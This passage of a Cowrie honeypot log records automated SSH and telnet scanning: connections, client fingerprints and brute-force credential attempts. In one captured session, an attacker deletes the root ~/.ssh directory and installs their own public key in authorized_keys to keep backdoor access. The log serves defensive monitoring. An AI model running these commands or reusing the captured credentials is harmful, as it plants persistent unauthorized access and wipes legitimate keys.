{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.696575Z","src_ip":"209.46.120.16","session":"0e3f8c80a224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.46.120.16","src_port":59982,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38cac0cee98","protocol":"ssh","message":"New connection: 209.46.120.16:59982 (159.203.135.109:22) [session: b38cac0cee98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.729503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.733793Z","src_ip":"209.46.120.16","session":"b38cac0cee98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.770679Z","src_ip":"209.46.120.16","session":"b38cac0cee98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.954591Z","src_ip":"209.46.120.16","session":"b38cac0cee98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.994724Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:40.998515Z","src_ip":"209.46.120.16","session":"b38cac0cee98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.232.31.218","src_port":57293,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3ee0347dd2d","protocol":"telnet","message":"New connection: 180.232.31.218:57293 (159.203.135.109:23) [session: c3ee0347dd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:56.078806Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":57218,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca2e2a36caf","protocol":"ssh","message":"New connection: 210.90.155.178:57218 (159.203.135.109:22) [session: 9ca2e2a36caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:02.680573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:02.686166Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:02.886292Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"098","message":"login attempt [root/098] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:03.716941Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.154354Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.157893Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.161954Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.365740Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.795926Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:04.798544Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:05.001257Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:05.004959Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":57752,"dst_ip":"159.203.135.109","dst_port":22,"session":"742b33921886","protocol":"ssh","message":"New connection: 210.90.155.178:57752 (159.203.135.109:22) [session: 742b33921886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:05.200753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:05.205177Z","src_ip":"210.90.155.178","session":"742b33921886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:05.405216Z","src_ip":"210.90.155.178","session":"742b33921886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:06.237552Z","src_ip":"210.90.155.178","session":"742b33921886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:07.440708Z","src_ip":"210.90.155.178","session":"742b33921886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":58310,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3818cc030a","protocol":"ssh","message":"New connection: 210.90.155.178:58310 (159.203.135.109:22) [session: 9c3818cc030a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:07.636621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:07.645871Z","src_ip":"210.90.155.178","session":"9c3818cc030a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:07.845520Z","src_ip":"210.90.155.178","session":"9c3818cc030a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:08.677388Z","src_ip":"210.90.155.178","session":"9c3818cc030a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.697559118270874,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:08.776283Z","src_ip":"180.232.31.218","session":"c3ee0347dd2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:08.875504Z","src_ip":"210.90.155.178","session":"9ca2e2a36caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:08.881591Z","src_ip":"210.90.155.178","session":"9c3818cc030a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57872,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bbaa5fe4749","protocol":"ssh","message":"New connection: 195.178.110.218:57872 (159.203.135.109:22) [session: 7bbaa5fe4749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:13.209249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:13.213181Z","src_ip":"195.178.110.218","session":"7bbaa5fe4749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:13.287754Z","src_ip":"195.178.110.218","session":"7bbaa5fe4749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:13.512566Z","src_ip":"195.178.110.218","session":"7bbaa5fe4749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:14.590063Z","src_ip":"195.178.110.218","session":"7bbaa5fe4749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45172,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6108b7ea438","protocol":"ssh","message":"New connection: 2.57.122.210:45172 (10.17.0.5:22) [session: d6108b7ea438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:55.208609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:55.215125Z","src_ip":"2.57.122.210","session":"d6108b7ea438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:55.321006Z","src_ip":"2.57.122.210","session":"d6108b7ea438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"solana","message":"login attempt [ubnt/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:55.646849Z","src_ip":"2.57.122.210","session":"d6108b7ea438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:46:56.751712Z","src_ip":"2.57.122.210","session":"d6108b7ea438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.83.155.240","src_port":47121,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2320af88ff","protocol":"telnet","message":"New connection: 180.83.155.240:47121 (10.17.0.5:23) [session: ed2320af88ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:47:04.665226Z"}
{"eventid":"cowrie.session.closed","duration":30.585780382156372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:47:35.250916Z","src_ip":"180.83.155.240","session":"ed2320af88ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58692,"dst_ip":"159.203.135.109","dst_port":22,"session":"295c089859c6","protocol":"ssh","message":"New connection: 195.178.110.218:58692 (159.203.135.109:22) [session: 295c089859c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:48:52.986064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:48:52.990860Z","src_ip":"195.178.110.218","session":"295c089859c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ec